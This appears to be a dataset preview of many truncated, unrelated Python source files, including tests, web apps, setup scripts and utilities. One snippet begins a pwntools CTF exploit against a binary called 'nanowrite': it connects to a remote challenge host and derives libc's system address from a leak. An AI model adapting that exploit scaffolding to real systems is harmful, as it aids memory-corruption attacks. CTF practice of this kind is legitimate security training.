content
stringlengths
5
1.05M
import helpers import numpy import pytest import toughio def test_cylindric_grid(): dr = numpy.array([1.0, 2.0, 3.0, 4.0]) dz = numpy.array([1.0, 2.0, 3.0]) mesh = toughio.meshmaker.cylindric_grid(dr, dz) perimeters = 2.0 * numpy.pi * dr.cumsum() base_areas = numpy.pi * dr.cumsum() ** 2 surf...
# Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
from flask import Flask, render_template, flash, redirect, url_for, session, request, logging from flask_mysqldb import MySQL from wtforms import Form, StringField, TextAreaField, PasswordField, validators, SelectField from passlib.hash import sha256_crypt from functools import wraps from flask_uploads import Uplo...
#!/usr/bin/env python # Author: Epihaius # Date: 2019-10-04 # # This is a basic example of how to use the sizer-based GUI system. # It specifically showcases how to handle a DirectScrolledFrame. from panda3d.core import * from direct.showbase.ShowBase import ShowBase from direct.gui.DirectGui import * from gui import...
# Copyright Contributors to the Packit project. # SPDX-License-Identifier: MIT import functools import logging import os from typing import Any, Optional from warnings import warn from requre.cassette import Cassette, CassetteExecution from requre.objects import ObjectStorage from requre.record_and_replace import ( ...
""" order base class """ import itertools import logging from datetime import datetime from typing import Dict from market.side import Side class Order: """ Orders represent the core piece of the exchange. Every bid/ask is an Order. """ newid = itertools.count(1) def __init__(self, quote: Dict):...
#!/usr/bin/env python from std_msgs.msg import Int32 import rospy, cv2, cv_bridge, numpy from sensor_msgs.msg import Image import cv2 import numpy as np from matplotlib import pyplot as plt class Follower: def __init__(self): self.bridge = cv_bridge.CvBridge() #self.image_sub = rospy.Subscriber('/usb_cam/image_ra...
from setuptools import setup, find_packages setup( name='twpy', version='1.0', packages=find_packages(), install_requires=[ 'requests-oauthlib', 'Click', ], # scripts=['twpy/__main__.py'], entry_points={'console_scripts': 'twpy = twpy:main'}, zip_safe=False, classif...
#!/usr/bin/env python # -*- coding: utf-8 -*- from sqlalchemy.ext.declarative import declarative_base from sqlalchemy.orm.attributes import InstrumentedAttribute ID_SIZE = 64 DESC_SIZE = 4000 class Base(object): def __str__(self): return self._to_str() def __repr__(self): return self._to_...
# -------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # -----------------------------------------------------------------...
# coding=utf-8 from functools import reduce num = [1, 2, 3] nums = [num for i in range(3)] def all_aa(nums): mfunc = lambda x, y: ["%s%s" % (i, j) for i in x for j in y] # reduce(mfunc, nums) # result1 = mfunc(nums[0], nums[1]) # result2 = mfunc(result1, nums[2]) dataresult = reduce(mfunc, nums...
from pyloot import collector from pyloot import InMemoryBackend def test_store_blank_slate(): backend = InMemoryBackend() test_obj = dict(a=1) obj_descr = collector.get_data(test_obj) backend.store([obj_descr]) descrs = backend.fetch() assert len(descrs) == 1 assert descrs[0].seen old...
from mpi4py import MPI import pytest comm = MPI.COMM_WORLD size = comm.Get_size() rank = comm.Get_rank() @pytest.mark.skipif(size < 2, reason="need at least 2 processes to test MPI") def test_is_running_with_multiple_procs(): msg = "The Test_MPI tests should be run with more than one MPI process" assert size...
loveletter = { "name": "loveletter", "cards": [ { "name": "Princess", "count": 1, "description": "lose if discarded" }, { "name": "Countess", "count": 1, "description": "must be played if you have a king or princess in your hand" }, { "name": "King", "count": 1, "description": "trade han...
""" Script to draw bbox over images for labels' sanity check. Author: @developmentseed Run: python3 draw_bboxes_over_large_images_resize.py --csv=labeled_aiaia.csv """ from os import path as op import json from PIL import Image, ImageDraw from PIL import ImageColor import pandas as pd import click def characte...
# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'exerror.ui' # # Created by: PyQt5 UI code generator 5.15.4 # # WARNING: Any manual changes made to this file will be lost when pyuic5 is # run again. Do not edit this file unless you know what you are doing. from PyQt5 import QtCore, QtGu...
from django.db import models # Create your models here. class Image(models.Model): image = models.ImageField(upload_to = 'images/',default='') name = models.CharField(max_length=200, null=True) description = models.CharField(max_length=500, null=True) image_location = models.ForeignKey('Location',defau...
#!/usr/bin/python # -*- coding: windows-1251 -*- # Сделано на основе https://gist.github.com/bertspaan/8220892 # И переработано "с нуля", используя http://grishaev.me/2012/08/29/1/ # Решена проблема сохранения записей: newRecord+store() from sys import argv,exit if len(argv) < 4: exit() from dbfpy import dbf # dbfp...
from arch_parser.models.wall import Wall class WallRoomAssignment: """ Assignment of a wall to a room """ def __init__(self, wall: Wall, inner_surface_index: int): """ Describes assignment of a wall to a room. :param wall: Wall assigned to the room :param inner_surface...
import bohrium_api class _test_openmp: def init(self): yield "" def test_add(self, _): bh_cmd = ''' kernel = r""" #include <stdint.h> void execute(double *a, double *b, double *c) { for(uint64_t i=0; i<100; ++i) { c[i] = a[i] + b[i] + i; } } """ a = bh.ones(100, np.double) b =...
import numbers from typing import Union, Any, Optional import numpy as np import torch from torch.utils.data._utils.collate import default_convert from pytorch_lightning.utilities.apply_func import apply_to_collection def _apply_to_inputs(func_to_apply, *dec_args, **dec_kwargs): def decorator_fn(func_to_decorat...
__author__ = 'Will@PCVG' # An Implementation based on shekkizh's FCN.tensorflow # Utils used with tensorflow implemetation from __future__ import print_function from __future__ import absolute_import from __future__ import division import copy import functools from ops_dup import * import tensorflow as tf import nu...
import logging import random from concurrent.futures import as_completed from concurrent.futures import ProcessPoolExecutor from functools import reduce from pathlib import Path import numpy import scipy.ndimage import scipy.stats from bfio import BioReader from bfio import BioWriter from utils import constants from ...
# Looking at consecutive powers of n=2, starting with 2^1: # # 2, 4, 8, 16, 32, 64, 128, 256, 512, 1024, 2048, 4096, 8192, 16384, 32768.... # # Note that out of all the digits 0-9, the last one ever to appear is 7. # It only shows for the first time in the number 2^15=32768. So let us # define LAST DIGIT TO APPEAR as: ...
import argparse from pathlib import Path from dateutil.parser import parse as dt_parse from hyp3_metadata import __version__, create, insar, rtc def main(): """Generate an example set of metadata files for HyP3 products""" parser = argparse.ArgumentParser(description=main.__doc__, formatter_class=argparse.A...
import logging from .client import TriggerflowClient as Triggerflow from .client import TriggerflowCachedClient from .client import DefaultActions, DefaultConditions from .libs.cloudevents.sdk.event.v1 import Event as CloudEvent logger = logging.getLogger('triggerflow') console_handler = logging.StreamHandler() form...
# Copyright 2013-2018 Lawrence Livermore National Security, LLC and other # Spack Project Developers. See the top-level COPYRIGHT file for details. # # SPDX-License-Identifier: (Apache-2.0 OR MIT) from spack import * import os import platform class PythonDev(Package): """Meta package to bundle python packages for...
#fichier principal projet Calcul Scientifique #Python 3.5 #Un PDF décrivant certaines parties de ce programme, notamment la mise en équation du problème ainsi qu'un description de l'efficacité de certaines méthodes #est disponible à l'adresse suivante : # http://github.com/DavyL/CalculTpsDescente/blob/master/Temps_des...
# -*- coding: utf-8 -*- # # Copyright © 2021–2022 martin f. krafft <tctools@pobox.madduck.net> # Released under the MIT Licence # import sys class Warning: def __init__(self, details, *, context=None, **kwargs): self.__details = details self.__context = context self.__additional = kwargs ...
# -*- coding: UTF-8 -*- """ Capture output (stdout, stderr), logs, etc. """ from __future__ import absolute_import from contextlib import contextmanager import sys from six import StringIO, PY2 from behave.log_capture import LoggingCapture from behave.textutil import text as _text def add_text_to(value, more_text, se...
# -*- coding: utf-8 -*- import numpy as np from skimage import measure def generate_mesh_from_scan(binary_image, step_size): threshold = 0 p = binary_image.transpose(2, 1, 0) return measure.marching_cubes_lewiner(p, threshold, step_size=step_size) def largest_label_volume(im, bg=-1): vals, counts ...
# Copyright 2020 Google LLC # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in...
import mock import unittest import botocore from slam import cli from .test_deploy import config, describe_stacks_response class DeleteTests(unittest.TestCase): @mock.patch('slam.cli.boto3.client') @mock.patch('slam.cli._load_config', return_value=config) def test_delete(self, _load_config, client): ...
from itertools import product from standard_grid import log from collections import OrderedDict import hashlib import os import pickle import sys import time import math import random def get_hash(in_str): hash_object = hashlib.sha512(in_str.encode("utf-8")) return str(hash_object.hexdigest()) #TODO: Ensure grid...
# # Copyright © 2021 United States Government as represented by the Administrator # of the National Aeronautics and Space Administration. No copyright is claimed # in the United States under Title 17, U.S. Code. All Other Rights Reserved. # # SPDX-License-Identifier: NASA-1.3 # """Configuration for different missions."...
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import re import time import serial import pyinputplus as pyip def checkCommand(c): if bool(re.match(r'(R|W|r|w)', c)) == False: raise Exception('Invalid command [R,r,W,w]') return c def calcCheckSum(b): checksum = b[0] for i in range(1,len(b))...
#!/usr/bin/env python from setuptools import setup def read_description(): import os path = os.path.join(os.path.dirname(__file__), 'README.rst') try: with open(path) as f: return f.read() except: return 'No description found' setup( name='deluge-client', version='...
from sys import stdin qu=[] for _ in range(int(input())): arr = stdin.readline().split() if arr[0] == 'push': qu.append(arr[1]) elif arr[0] == 'pop': if qu: print(qu.pop(0)) else: print(-1) elif arr[0] == 'size': print(len(qu)) elif arr[0] == 'empty': print(1-...
#!/usr/bin/python3 from pwn import * import networkx as nx import time binary = ELF('./nanowrite') #p = process('./nanowrite') #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') p = remote('dorsia4.wpictf.xyz',31337) libc = ELF('libc.so.6') _ = p.recvline().split()[0] system = int(_,16) - 765772 print("system: " + hex...
"""Exceptions relating to workflow fixtures.""" from inspect import getsourcefile, getsourcelines import logging import inspect from typing import Callable class FixtureMultipleYield(ValueError): """Raised when a generator workflow fixture yields more than once.""" class FixtureNotFound(KeyError): def __ini...
from __future__ import unicode_literals import json from .common import InfoExtractor class TriluliluIE(InfoExtractor): _VALID_URL = r'https?://(?:www\.)?trilulilu\.ro/video-[^/]+/(?P<id>[^/]+)' _TEST = { 'url': 'http://www.trilulilu.ro/video-animatie/big-buck-bunny-1', 'info_dict': { ...
# Generated by Django 2.0.5 on 2018-05-31 09:56 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('api', '0006_auto_20180531_0243'), ] operations = [ migrations.RemoveField( model_name='review', name='author',...
import unittest from src.main import substract, add class TestMain(unittest.TestCase): def test_add(self): result = add(9, 7) self.assertEqual(result, 16) def test_substract(self): result = substract(9, 7) self.assertEqual(result, 2)
#!/usr/bin/python3 # -*- coding: utf-8 -*- ##===-----------------------------------------------------------------------------*- Python -*-===## ## ## S E R I A L B O X ## ## This file is distributed under terms of BSD license. ## See LICENSE.txt for more information. ## ##===----------...
#!/usr/bin/env python # -*- coding: utf-8 -*- # English Pokémon Name Scraper import csv import requests from bs4 import BeautifulSoup # japanese name data def jpn_parse (url): """ Return Japanese, Romaji, Tranliterate tuple """ response = requests.get(url) soup = BeautifulSoup(response.text, "lxml") soup = sou...
# -*- coding: utf-8 -*- """ Tencent is pleased to support the open source community by making BK-BASE 蓝鲸基础平台 available. Copyright (C) 2021 THL A29 Limited, a Tencent company. All rights reserved. BK-BASE 蓝鲸基础平台 is licensed under the MIT License. License for BK-BASE 蓝鲸基础平台: ---------------------------------------------...
import time # Part 1 def check_fit(passcode): passcode = str(passcode) double = 0 for i in range(len(passcode) - 1): if passcode[i] == passcode[i + 1]: double += 1 elif int(passcode[i]) > int(passcode[i + 1]): return False if double == 0: return False ...
from typing import List if __name__ == '__main__': class firstSolution: def twoSum(self, numbers: List[int], target: int) -> List[int]: for i in range(len(numbers)-1): for j in range(i+1, len(numbers)): if numbers[i] + numbers[j] == target: ...
import pytest from referee.progress_checker import ProgressChecker @pytest.fixture def checker() -> ProgressChecker: return ProgressChecker(steps=235, threshold=0.5) def test_initialize(checker: ProgressChecker): assert len(checker.samples) == 235 assert checker.iterator == 0 assert checker.prev_po...
import pysixtrack from . import elements from . import ScatterFunctions from .loader_mad import iter_from_madx_sequence_ctk # monkey patching iter_from_madx_sequence() to include LimitPolygon loader pysixtrack.loader_mad.iter_from_madx_sequence_old = pysixtrack.loader_mad.iter_from_madx_sequence pysixtrack.line.iter_...
from .base import * class PickingCamera: def __init__(self): self._tex = None self._tex_peeker = None self._buffer = None self._np = None self._mask = next(camera_mask) self._pixel_color = VBase4() self._transformer = None UVMgr.expose("picking_ma...
""" python wrapper for linux whois Requirements: apt install whois (whois package) """ __all__ = ["Query"] import subprocess from shutil import which from types import SimpleNamespace from distutils.version import LooseVersion from .parser import Parser from .normalise import Normaliser from ._filecache import filecac...
#!/usr/bin/python3 from pyspark.sql.types import * clust = StructType([ StructField('id', IntegerType(), False), StructField('x', DoubleType(), False), StructField('y', DoubleType(), False), StructField('z', DoubleType(), False), StructField('vx', DoubleType(), False), StructField('vy', Doub...
import enigma machine = enigma.enigma() machine.setLeft(enigma.rotors[1], 0) machine.setMiddle(enigma.rotors[3], 10) machine.setRight(enigma.rotors[2], 18) machine.setReflector(enigma.reflectors[0]) machine.setPlugboard(enigma.plugboard()) print(machine.operate('LNSLHWXAZYXRFBUDXZVHIQENLOQZMYHSHLRTIZPQCHQUPHSAYPHGHTXPI...
# Copyright (c) The Libra Core Contributors # SPDX-License-Identifier: Apache-2.0 # pyre-strict import libra_types as libra import serde_types as st import lcs import libra_stdlib as stdlib def make_address(content: bytes) -> libra.AccountAddress: assert len(content) == 16 # pyre-fixme return libra.Acco...
# Given two non-negative integers num1 and num2 represented as strings, return the product of num1 and num2. # Note: # The length of both num1 and num2 is < 110. # Both num1 and num2 contains only digits 0-9. # Both num1 and num2 does not contain any leading zero. # You must not use any built-in BigInteger library or...
# -*- coding: utf-8 -*- # Created by restran on 2017/9/15 from __future__ import unicode_literals, absolute_import import string import subprocess def run_shell_cmd(cmd): try: (stdout, stderr) = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIP...
def ParticleFireworkToRaiseup(sphere_obj, material_object_name, firework_start_frame): bpy.ops.object.particle_system_add() p_s = sphere_obj.particle_systems[0].settings p_s.count = 100 p_s.frame_start = firework_start_frame + 1 p_s.frame_end = firework_start_frame + 35 p_s.lifetime = 5 ...
# coding: utf-8 import unittest from discrete_model import parse_smbionet_output_file, InfluenceGraph, DiscreteModel from simu_net import Simulation, Result from .resources import day_night_cycle_out, model2346_out class Test(unittest.TestCase): def test_model_2346(self): model1, *_ = parse_smbionet_ou...
from setuptools import setup with open('requirements.txt', 'r') as f: requirements = f.read().splitlines() setup( name='pandaset', version='0.2dev', author='Nisse Knudsen, Pengchuan Xiao', author_email='nisse@scale.com, xiaopengchuan_intern@hesaitech.com', packages=['pandaset'], python_req...
# -*- coding: utf-8 -*- # Author : Jin Kim # e-mail : jin.kim@seculayer.com # Powered by Seculayer © 2021 Service Model Team, R&D Center. import json from typing import Tuple from mlps.common.Constants import Constants from mlps.core.data.cnvrtr.functions.SpWCAbstract import SpWCAbstract class XSSpWC(SpWCAbstract):...
def minimumSwaps(arr): count = 0 startingIndex = 0 flag = True print(arr) while flag: # print("startingIndex", startingIndex) flag = False for i in range(int(startingIndex), len(arr)-1): if arr[i] != i+1: startingIndex = i firstNumF...
import pytest import requests import requests_mock from contact import constants, forms, views from directory_api_client.exporting import url_lookup_by_postcode routing_steps = [step for step, _ in views.RoutingFormView.form_list] pytestmark = pytest.mark.django_db @pytest.fixture def domestic_data(captcha_stub): ...
# Copyright (c) 2021, Hitachi America Ltd. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by appli...
from tortoise import Tortoise from groovebot.core.utils import config async def tortoise_init(): username = config["TORTOISE"]["username"] password = config["TORTOISE"]["password"] endpoint = config["TORTOISE"]["endpoint"] schema = config["TORTOISE"]["schema"] engine = config["TORTOISE"]["engine"...
default_app_config = '{{cookiecutter.module_name}}.apps.{{cookiecutter.module_name}}'
snackdown = [2010, 2015, 2016, 2017, 2019] for _ in range(int(input())): n = int(input()) if n in snackdown: print('HOSTED') else: print('NOT HOSTED')
import torch import torch.nn as nn import torch.nn.functional as F from collections import OrderedDict import pickle import numpy as np class MyLinear(nn.Module): """Linear layer with equalized learning rate and custom learning rate multiplier.""" def __init__(self, input_size, output_size, gain=2**(0....
# -*- coding: utf-8 -*- #------------------------------------------------------------ # broadcastify #------------------------------------------------------------
"""WEB API for urlman."""
from src.modules.module import Module as TemplateModule from PIL import Image, ImageDraw, ImageFont import os import json import time font_path = os.path.join('assets', 'Font.ttf') class Module(TemplateModule): def __init__(self, display): super().__init__(display) self.display = display ...
# SPDX-License-Identifier: MIT # Copyright (c) 2021 Advanced Micro Devices, Inc. All rights reserved. import os import addtoplevelpath import os,sys,traceback import logging import collections import ast import re # recursive inclusion import indexer.scoper as scoper imp...
# Unless explicitly stated otherwise all files in this repository are licensed under the Apache-2.0 License. # This product includes software developed at Datadog (https://www.datadoghq.com/). # Copyright 2019-Present Datadog, Inc. from datadog_api_client.v2.model_utils import ( ModelNormal, cached_property, ...
# -*- coding: utf-8 -*- import datetime from south.db import db from south.v2 import DataMigration from django.db import models from bson.objectid import ObjectId from apps.social.models import MSharedStory class Migration(DataMigration): def forwards(self, orm): stories = MSharedStory.objects.filter(has_...
'''tzinfo timezone information for Asia/Aqtobe.''' from pytz.tzinfo import DstTzInfo from pytz.tzinfo import memorized_datetime as d from pytz.tzinfo import memorized_ttinfo as i class Aqtobe(DstTzInfo): '''Asia/Aqtobe timezone definition. See datetime.tzinfo for details''' zone = 'Asia/Aqtobe' _utc_tran...
class MedianFinder: # use two heaps def __init__(self): """ initialize your data structure here. """ self.min_heap = [] # responsible for the upper half self.max_heap = [] # responsible for the lower half self.size = 0 def addNum(self, num): """ ...
""" WAP to enter the numbers till the user wants and at the end the program should display the largest and smallest numbers entered. """ infinity = float('inf') smallest = infinity largest = -infinity while True: number = int(input('Number: \t')) if number > largest: largest = number if number < s...
# -*- coding: utf-8 -*- import unittest import os import sys import threading import time import atexit import signal class DaemonTest(unittest.TestCase): """ 守护进程 1. 创建一个守护进程的步骤大体思想如下: 1. 首先,一个守护进程必须要从父进程中脱离,这是由os.fork()操作来完成的,并立即被父进程终止。 2. 在子进程成为孤儿后,调用os.setsid()创建了一个全新的进程会话,并设置子进程为首领。...
import torch import torch.nn as nn import torch.nn.functional as F from mmcv.cnn import normal_init from ..builder import HEADS from .cls_head import ClsHead import math @HEADS.register_module() class AAMSoftmaxClsHead(ClsHead): """AAMSoftmax classifier head. Args: num_classes (int): Number of catego...
# code for predicting the spectrum of a single star in normalized space. from __future__ import absolute_import, division, print_function # python2 compatibility import numpy as np import torch def predict_class(scaled_spectra, model): ''' Predict the class of a single star. ''' input = torch.FloatTe...
""" Extended by all API classes for communicating with the hockeyapp API """ import logging import re import requests LOGGER = logging.getLogger(__name__) class APIError(Exception): """Raised when the Hockeyapp API returns an error for a request""" def __repr__(self): """Return a representation of ...
# # (c) Copyright 2016 Hewlett Packard Enterprise Development LP # (c) Copyright 2017 SUSE LLC # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 #...
from setuptools import setup, find_packages requirements = ["scikit-learn", "numpy", "keras"] test_requirements = ["pytest", "pytest-runner", "coverage", "pytest-cov", "mock"] setup( name='TrainHelper', version='0.0.3.29', packages=find_packages(), url='https://github.com/MaLiN2223/TrainHelper', li...
from XenGarden.SR import SR async def serialize(sr: SR): return dict( name=sr.get_name(), description=sr.get_description(), size=sr.get_physical_size(), used=sr.get_physical_utilisation(), free=str(int(sr.get_physical_size()) - int(sr.get_physical_utilisation())), u...
""" Implements instance extraction and decoding for mention-ranking models. This module implements two variants of the mention ranking model within a framework that expresses coreference resolution as predicting latent structures, while performing learning using a latent structured perceptron with cost-augmented infer...
# -*- coding: utf-8 -*- # только парсер и его бек-энд import requests # для выполнения запросов к сайту from lxml import html #, etry # необходимо для "расшифровки html" from typing import Any, Optional, NoReturn # дабы придерживаться стиля, # указывая типы переменных (а-ля TypeScript) (жаль тут типы проверяют...
def quick_sort(input_array, start, end): if start >= end: return partition_index = partition(input_array, start, end) quick_sort(input_array, start, partition_index - 1) quick_sort(input_array, partition_index + 1, end) def partition(input_array, start, end): pivot = input_array[end] ...
from argparse import Namespace from .action import Action from expansions import CornishFisherExpansion from symengine.lib.symengine_wrapper import sympify from sympy import Symbol from sympy.plotting import plot as symplot from cli.common import prepare_program, get_all_cumulants, get_all_cumulants_after_loop, parse_p...
class Education: def __init__(self, school, time, title, desc): self.school = school self.time = time self.title = title self.desc = desc
import random from .base import StudioTestCase from .testdata import channel from .testdata import random_string from .testdata import user from contentcuration.models import Channel from contentcuration.models import ContentNode from contentcuration.models import Language from contentcuration.utils.db_stats import ge...
"""Compiles a single .py to a .pyc and writes it to stdout.""" # These are C modules built into Python. Don't add any modules that are # implemented in a .py: import imp import marshal import sys MAGIC = imp.get_magic() def _write32(f, w): f.write(bytearray([ (w >> 0) & 0xff, (w >> 8) & 0xff, (...
import pandas as pd if __name__ == '__main__': file = r'9_adjust_box_mismatch.csv' with open(file, 'r') as f: data = pd.read_csv(f) for i in data.index: up_mis = data.at[i, 'Upstream mismatch'] down_mis = data.at[i, 'Downstream mismatch'] if str(down_mis) == 'na...
r""" CGLS and LSQR Solvers ===================== This example shows how to use the :py:func:`pylops.optimization.leastsquares.cgls` and :py:func:`pylops.optimization.leastsquares.lsqr` PyLops solvers to minimize the following cost function: .. math:: J = || \mathbf{y} - \mathbf{Ax} ||_2^2 + \epsilon || \math...
import pycanlii.pycanliibase as base import pycanlii.enums as enums import requests class LegislationDatabase(base.PyCanliiBase): """ A database of CanLII Legislation. This object is both indexable and iterable. Attributes: :name: A string representing the name of this LegislationDatabase ...
import discord import logging from typing import List, cast, Dict, Union from redbot.core.bot import Red from redbot.core import Config, commands from redbot.core.i18n import Translator, cog_i18n from .message_entry import StarboardMessage from .starboard_entry import StarboardEntry _ = Translator("Starboard", __fi...
class TermDictionary: # A nicer and cleaner approach can be found at: # http://norvig.com/spell-correct.html def __init__(self, items, max_dist=1): self.words = items self.max_dist = max_dist self._len = len(items) self._max_word_len = len(max(items, key=len))+1 def _lev...
""" @brief test log(time=6s) @author Xavier Dupre """ import os import unittest from pyquickhelper.loghelper import fLOG from pyquickhelper.helpgen.sphinx_main import process_notebooks from pyquickhelper.pycode import is_travis_or_appveyor, ExtTestCase class TestNoteBooksComment(ExtTestCase): def test...
# https://letslearnabout.net/tutorial/how-to-send-beautiful-emails-with-attachments-using-only-python/ # This program will automatically send emails to a resipiant list. # The resipiant list MUST be named "sendList.txt" and each line must be of the form # resipiant name, resipiant email # The program also needs a file ...
""" Backs up ToodleDo """ import sys import os import requests import yaml import pandas as pd from getpass import getpass from requests_oauthlib import OAuth2Session import requests import urllib import json import logging # TODO modify redirection URI? Localhost is a bit weird, there might be something running ther...
from itertools import chain from typing import Any, Dict, List, Optional from ._position import Position from ._price import Price from ._response import Response from ._ws_order import WSOrder class PortfolioPosition(Position): @property def _pos(self) -> Dict[str, Any]: return self['position'] ...